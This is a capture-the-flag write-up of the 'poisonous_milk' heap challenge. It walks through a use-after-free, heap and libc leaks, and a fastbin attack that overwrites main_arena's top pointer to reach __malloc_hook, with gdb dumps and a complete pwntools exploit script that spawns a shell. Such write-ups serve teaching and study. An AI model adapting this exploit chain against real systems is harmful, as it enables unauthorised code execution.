Points: 500 Solves: 21 Category: Exploitation Description: Do you know Huang Xudong? Let me show you his power.
nc 52.27.136.59 6969
poisonous_milk Solved by uafio and kileak
Today I’m going to explain one of my favorite heap exploitation techniques.
Main
➜ poison_milk ./poisonous_milk
Welcome to rainbow poisonous milk system authored by Xudong Huang
You can leave your flags here~
Milk Guide:
[p]ut a poisonous milk
[v]iew all poisonous milks
[r]emove one milk
[d]rink pocari sweat
[q]uit the system
>
I will try to keep the description of each of these functions short, although they can be really confusing. Let’s first start with the 10,000 ft view. It’s a C++ program that allows us to create milk objects. Each milk object has two properties, a const char *
to a color constant and a char *
to a input buffer called “flag” that we control. A max of 100 milk objects can be created and a pointer to each is stored in a dynamic array, a pointer to this dynamic array is stored on the .bss
To better illustrate the relations of these structures, here is a pretty diagram made by rh0gue.
Now to drill down to each of the options, individually.
[p]
- Checks if(arrayEnd - arrayStart) < 800
(hence the 100 objects limit). Next, it allocates a buffer of max 0x56 bytes for themilk->flag
reads input into it (without overflow), it reads input for the color choice and compares it with a list of constants. If a match is found it populates themilk->color_ptr
with the pointer to the constant color (not with the pointer of our color input). If a match is not found it leaves themilk->color_ptr
uninitialized, a fact that we are going to take advantage of.[v]
- Iterate through all of the milkArr andprintf("[%d] [%s] %s\n", i, milkArr[i]->color, milkArr[i]->flag)
[r]
- Without any out of bounds it simply doesdelete milkArr[idx]->flag ; delete milkArr[idx]
and since the milkArr is a dynamic array it pops the index out of the array and adjusts the size, however, neither of the two pointers are nulled essentially creating a UAF.[d]
- Delete all the milk objects from the milkArr, the associated flag properties, the milkArr and the milkTable. Essentially freeing all of the dynamically allocated pointers the program knows about in its current state. Except it won’t NULL themilkTable_ptr
located on the bss creating another UAF.[q]
- returns from main
Leaking the heap
First step of our exploit is to get not one but two info leaks. The binary is PIE enabled and we need to know where the heap is allocated and where libc is loaded. I’m going to be thorough here and going to show you how the memory layout looks like compared to the diagram above.
Notice how milkArr[0]->color
is NULL
this is not because it’s being zeroed but instead it’s because it’s uninitialized which we are going to exploit. If we free the only milk structure in the milkArr the program will do delete(milkArr[0]->flag)
followed by delete(milkArr[0])
followed by adjusting the values in the milkTable indicating there’s no more elements in the milkArr. We know both of the elements we are going to free are of size 0x20, which means they are of fastbin size. The first element we free is going to be placed on top of the fastbin free list for size 0x20 with buffer->FD = NULL
because the fastbin free lists are singly linked lists and FD == NULL
represents the end of the list, this means free()
is going to remove our 0x4141414141414141
out of 0x555555769c40
address. However, the next delete(milkArr[0])
will free chunk 0x555555769c60
and because we already have a node in the fastbin list for this size, it will replace the node on top of the fastbin list and put the old fastbin top in the current fastbin top -> FD
. Which means it will place a heap address in that uninitialized milk->color property which lucky enough points to a pointer of the end of the dynamic array!
All that’s left now is to create a new milk object without providing a color so we keep that fastbin stored pointer. One thing to notice here is that the new milk object’s flag needs to be bigger than the size of the currently free fastbin. This way we will not serve the same chunks for the same structures/buffers. Instead allocating a bigger chunk for the flag
property will force malloc to serve a new buffer from the wilderness and serve the previous flag
buffer as a memory for the now current milk object, exactly with the heap pointer in place of the color
property, which we are going to keep “uninitialized” (or forcefully initialized by us :P).
put_milk("A"*15 + '\n', '\n')
remove(0)
put_milk('B'*85, '\n')
leak = u64(view().split('[')[2].split(']')[0].ljust(8, '\0')) - 0xc88
log.info("Heap: " + hex(leak))
Leaking libc
To leak an address of libc we need to somehow place a libc address on the heap. But we can’t simply free a chunk and hope for a libc pointer to end up on the heap because all of the chunks are of fastbin size. So the plan is to free a fake chunk of size of a smallbin and then leak either the FD or the BK ptrs. To free a fake chunk, we are going to target the arrayStart
and arrayEnd
pointers. By pointing those to a controlled heap address, we can essentially take control over the milkArr
. For that we are going to use the [d]rink
option which is going to free the milkTable
and then we create a new milk object and the buffer for the flag
property will end up getting the milkTable
’s old buffer, essentially giving us control over the arrayStart and arrayEnd ptrs
. Here a lot of coordination was required because the “fake” milkArr
had to be pre-setup with not just the “fake smallbin chunk” but also with fake pointers to chunks we are going to need for later.
gdb-peda$ x/60gx 0x555555769c20
0x555555769c20: 0x0000555555769d38 0x0000555555769d50 <-- milkTable
0x555555769c30: 0x0000000000000000 0x0000000000000021
0x555555769c40: 0x0000555555769c50 0x0000555555769d00
0x555555769c50: 0x0000000000000000 0x0000000000000021
0x555555769c60: 0x0000555555769d50 0x0000555555769ca0
0x555555769c70: 0x0000000000000000 0x0000000000000021
0x555555769c80: 0x0000555555769c30 0x0000555555769d80
0x555555769c90: 0x0000000000000000 0x0000000000000061
0x555555769ca0: 0x0000000000000000 0x0000555555769d10
0x555555769cb0: 0x0000000000000000 0x0000000000000051
0x555555769cc0: 0x0000555555769cc0 0x0000000000000000
0x555555769cd0: 0x4141414141414141 0x4141414141414141
0x555555769ce0: 0x4141414141414141 0x4242424242424200
0x555555769cf0: 0x0000004242424242 0x0000000000000061
0x555555769d00: 0x0000555555769c90 0x00000000000000d1
0x555555769d10: 0x0000000000424242 0x0000000000424242
0x555555769d20: 0x0000000000424242 0x0000000000424242
0x555555769d30: 0x0000000000424242 0x0000555555769ca0 <-- 0x424242, milkArr[0]
0x555555769d40: 0x0000555555769ca0 0x0000555555769e10 <-- milkArr[1], milkArr[2]
0x555555769d50: 0x0000000000000000 0x0000000000000021
0x555555769d60: 0x0000000000000000 0x0000555555769c40
0x555555769d70: 0x0000000000000000 0x0000000000000061
0x555555769d80: 0x0000555555769cf0 0x4343434343434343
0x555555769d90: 0x4343434343434343 0x4343434343434343
0x555555769da0: 0x4343434343434343 0x4343434343434343
0x555555769db0: 0x4343434343434343 0x4343434343434343
0x555555769dc0: 0x4343434343434343 0x4343434343434343
0x555555769dd0: 0x0000000000000000 0x0000000000000031
0x555555769de0: 0x0000000000000000 0x0000555555769c40
0x555555769df0: 0x0000555555769c80 0x0000000000000000
Our fake smallbin chunk here is milkArr[0]->flag
which points to 0x0000555555769d10
with size 0xd1
. So, we free milkArr[0]
and then [v]iew
and we got ourselves a libc info leak :).
gdb-peda$ x/60gx 0x555555769c20
0x555555769c20: 0x0000555555769d38 0x0000555555769d48 <-- arrayEnd decremented
0x555555769c30: 0x0000000000000000 0x0000000000000021
0x555555769c40: 0x0000555555769c50 0x0000555555769d00
0x555555769c50: 0x0000000000000000 0x0000000000000021
0x555555769c60: 0x0000555555769d50 0x0000555555769ca0
0x555555769c70: 0x0000000000000000 0x0000000000000021
0x555555769c80: 0x0000555555769c30 0x0000555555769d80
0x555555769c90: 0x0000000000000000 0x0000000000000061
0x555555769ca0: 0x0000555555769d70 0x0000555555769d10
0x555555769cb0: 0x0000000000000000 0x0000000000000051
0x555555769cc0: 0x0000555555769cc0 0x0000000000000000
0x555555769cd0: 0x4141414141414141 0x4141414141414141
0x555555769ce0: 0x4141414141414141 0x4242424242424200
0x555555769cf0: 0x0000004242424242 0x0000000000000061
0x555555769d00: 0x0000555555769c90 0x00000000000000d1
0x555555769d10: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fake chunk has been freed
0x555555769d20: 0x0000000000424242 0x0000000000424242
0x555555769d30: 0x0000000000424242 0x0000555555769ca0
0x555555769d40: 0x0000555555769e10 0x0000555555769e10
0x555555769d50: 0x0000000000000000 0x0000000000000021
0x555555769d60: 0x0000000000000000 0x0000555555769c40
0x555555769d70: 0x0000000000000000 0x0000000000000061
0x555555769d80: 0x0000555555769cf0 0x4343434343434343
0x555555769d90: 0x4343434343434343 0x4343434343434343
0x555555769da0: 0x4343434343434343 0x4343434343434343
0x555555769db0: 0x4343434343434343 0x4343434343434343
0x555555769dc0: 0x4343434343434343 0x4343434343434343
0x555555769dd0: 0x00000000000000d0 0x0000000000000030
0x555555769de0: 0x0000000000000000 0x0000555555769c40
0x555555769df0: 0x0000555555769c80 0x0000000000000000
Fastbin attack
On the next part I decided to take control over the milkArr
pointers. This way I can control each individual milk object without worrying for the size of the milkTable
. Well, this has already been taken care of :). On the last part where I said some coordination was needed, if you notice our “fake” smallbin chunk is located on top of the milkArr
, now I just need to request a chunk of size which does not have a corresponding free fastbin. This way malloc will serve us a chunk from the currently free smallbin at 0x555555769d10
and placing whatever is the remainder in the unsorted bin (which gave me a lot of trouble later :P). Next with some convolution, I arrange everything so the next allocation of a “flag” buffer for a new milk is going to be allocated on top of already free chunk and I can overwrite its FD ptr
and do a fastbin attack.
However ! I can’t simply place a ptr of &__malloc_hook - 0x23
in a fastbin like I did here because the “fake” size needed to pass the fastbin size allocation will be 0x7f
and the largest heap chunk I can allocate is 0x56 bytes + 0x10 for metadata making it total 0x60 (rounded). So, what to do next ?
Impossible fastbin attack ?
This is my favorite trick in the book :). Instead of placing a pointer of &__mallok_hook - 0x23
we are going to place a pointer of &main_arena + 0x25
which will point right on top of the fastbinsY array.
gdb-peda$ x/40gx &main_arena
0x7ffff7a4fb20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7a4fb30 <main_arena+16>: 0x0000555555769dd0 0x0000000000000000
0x7ffff7a4fb40 <main_arena+32>: 0x00007ffff7a4fb45 0x0000555555769d70
0x7ffff7a4fb50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7a4fb60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7a4fb70 <main_arena+80>: 0x0000000000000000 0x0000555555769e20
0x7ffff7a4fb80 <main_arena+96>: 0x0000555555769db0 0x0000555555769db0
gdb-peda$ p main_arena
$4 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x555555769dd0, 0x0, 0x7ffff7a4fb45 <main_arena+37>, 0x555555769d70, 0x0, 0x0,
0x0, 0x0, 0x0},
top = 0x555555769e20,
last_remainder = 0x555555769db0,
bins = {0x555555769db0, 0x555555769db0, 0x7ffff7a4fb88 <main_arena+104>,
What would this do, you ask ? Well, on the next allocation of the appropriate size it will give us the 0x00007ffff7a4fb55
address and the target is the ptr to the top chunk
. Overwriting the pointer to the top chunk will point the wilderness/top
to address we want and allocations after that will be served from that memory area ! The only requirement is for the new top chunk
to have enough data so choosing an address with new_top_chunk->size != NULL
is required. What about the fastbin size check you might ask again :) ? Well that’s why there’s an already intentionally free chunk in 0x7ffff7a4fb48
slot. So the MSB 0x55
is going to serve as the size of the free fake fastbin.
gdb-peda$ x/10gx 0x00007ffff7a4fb45
0x7ffff7a4fb45 <main_arena+37>: 0x5555769d7000007f 0x0000000000000055 <-- fake size
0x7ffff7a4fb55 <main_arena+53>: 0x0000000000000000 0x0000000000000000
0x7ffff7a4fb65 <main_arena+69>: 0x0000000000000000 0x0000000000000000
0x7ffff7a4fb75 <main_arena+85>: 0x5555769e20000000 0x5555769db0000055
0x7ffff7a4fb85 <main_arena+101>: 0x5555769db0000055 0x5555769db0000055
OK, we control the new top
chunk, where do we point it ? Haha, at &__malloc_hook - 0x28
of-course :).
gdb-peda$ x/40gx 0x00007ffff7dd1ae0
0x7ffff7dd1ae0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a93270 0x00007ffff7a92e50
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20: 0x0000000000000000 0x0000555555769d70
0x7ffff7dd1b30: 0x0000555555769dd0 0x0000000000000000
0x7ffff7dd1b40: 0x0000000000000000 0x0000565555769d70
0x7ffff7dd1b50: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70: 0x0000000000000000 0x00007ffff7dd1ae8 <-- new_top
0x7ffff7dd1b80: 0x0000000000000000 0x00007ffff7dd1b78 <-- unsorted bin
0x7ffff7dd1b90: 0x00007ffff7dd1b78 0x00007ffff7dd1b00 <-- unsorted bin
0x7ffff7dd1ba0: 0x00007ffff7dd1b88 0x00007ffff7dd1b98
0x7ffff7dd1bb0: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8
As you can see if new top
starts at 0x7ffff7dd1ae8
the pointer at 0x7ffff7dd1af0
is going to serve as new_top->size
and we are all good, yes even with the LSB(it) being 0.
My biggest frustration with this tactic is that the unsorted bin did not point to itself meaning there is a free chunk in the unsorted bin, meaning new allocations will not be served from the top chunk. So with the overwrite of the top
chunk I also had to NULL the last_remainder ptr
(which is located at 0x7ffff7dd1b80
) and restore the unsorted bin ptrs to the address of &main_arena->top
Another hiccup is the “fake size” from the MSB(yte) of one of the pointers in the fastbins. with ASLR the heap has a chance to start with either 0x55
or 0x56
address. Without ASLR it’s only 0x55
. In my calculations this only worked with “fake size” of 0x56
, 0x55
fails the index of fastbin allocation check. I’m assuming “fake size” of 0x55
can pass the check if the “fake fastbin ptr” is placed 1 slot before where it’s currently located.
Full exploit script
#!/usr/bin/env python
from pwn import *
import sys
def put_milk(inBuf, color):
r.sendline('p')
r.recvuntil(': ')
r.send(inBuf)
r.recvuntil(': ')
r.send(color)
r.recvuntil('> ', timeout=1)
def view():
r.sendline('v')
return r.recvuntil('> ', drop=True)
def remove(idx):
r.sendline('r')
r.recvuntil(' : ')
r.sendline(str(idx))
r.recvuntil('> ')
def drink():
r.sendline('d')
r.recvuntil('> ')
def exploit(r):
if len(sys.argv) > 1:
r.recvuntil("Token:")
r.sendline('yuRRme9y3wc5ZCHyhckEBnRsR3ueR8M8')
put_milk("A"*15 + '\n', '\n')
remove(0)
put_milk('B'*85, '\n')
leak = u64(view().split('[')[2].split(']')[0].ljust(8, '\0')) - 0xc88
log.info("Heap: " + hex(leak))
if leak < 0x560000000000:
log.failure("Error: HEAP needs to start with 0x56 addr.")
sys.exit(-1)
remove(0)
payload = p64(leak+0xd10)*2
payload += p64(0)
payload += p64(0x51)
payload += p64(leak+0xcc0)
payload += p64(0)
payload += "A" * 0x18
payload += '\n'
put_milk(payload, '\n')
payload = p64(0xd1) * 2
payload += p64(0x424242) * 5
payload += p64(leak+0xca0)*2
payload += 'B' * 2
payload += '\n'
put_milk(payload, '\n')
payload = 'C' * 0x50
payload += '\n'
put_milk(payload, '\n')
drink()
payload = p64(leak+0xd38)
payload += p64(leak+0xd48)
payload += '\n'
put_milk(payload, '\n')
remove(0)
libc = u64(view().split('\n')[0].split()[-1].ljust(8, '\0')) - 0x3c3b78
log.info("libc: " + hex(libc))
payload = p64(0x444444444444) * 2
payload += p64(0x41)*2
payload += p64(0x444444444444)
payload += p64(leak+0xc80)
payload += p64(leak+0xcc0)
payload += '\n'
put_milk(payload, '\n')
remove(1)
payload = p64(0x61616161) * 2
payload += p64(0)
payload += p64(0x51)
payload += p64(libc+0x3c3b45)*6
payload += '\n'
put_milk(payload, '\n')
payload = p64(0x61) * 2
payload += p64(0x404040)
payload += p64(0x393939)
payload += p64(0x41414141)*4
put_milk(payload+'\n', '\n')
remove(0)
payload = '\x00' * 3
payload += p64(0) * 4
payload += p64(libc+0x3c3ae8)
payload += p64(0)
payload += p64(libc+0x3c3b78)
payload += p64(libc+0x3c3b78)
put_milk(payload+'\n', '\n')
payload = p64(0x41414141)*3
payload += p64(libc + 0xf0567) * 4
payload += '\n'
put_milk(payload, '\n')
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['./poisonous_milk'], env={"LD_PRELOAD":"./libc-2.23.so"})
print util.proc.pidof(r)
pause()
exploit(r)
Recommended articles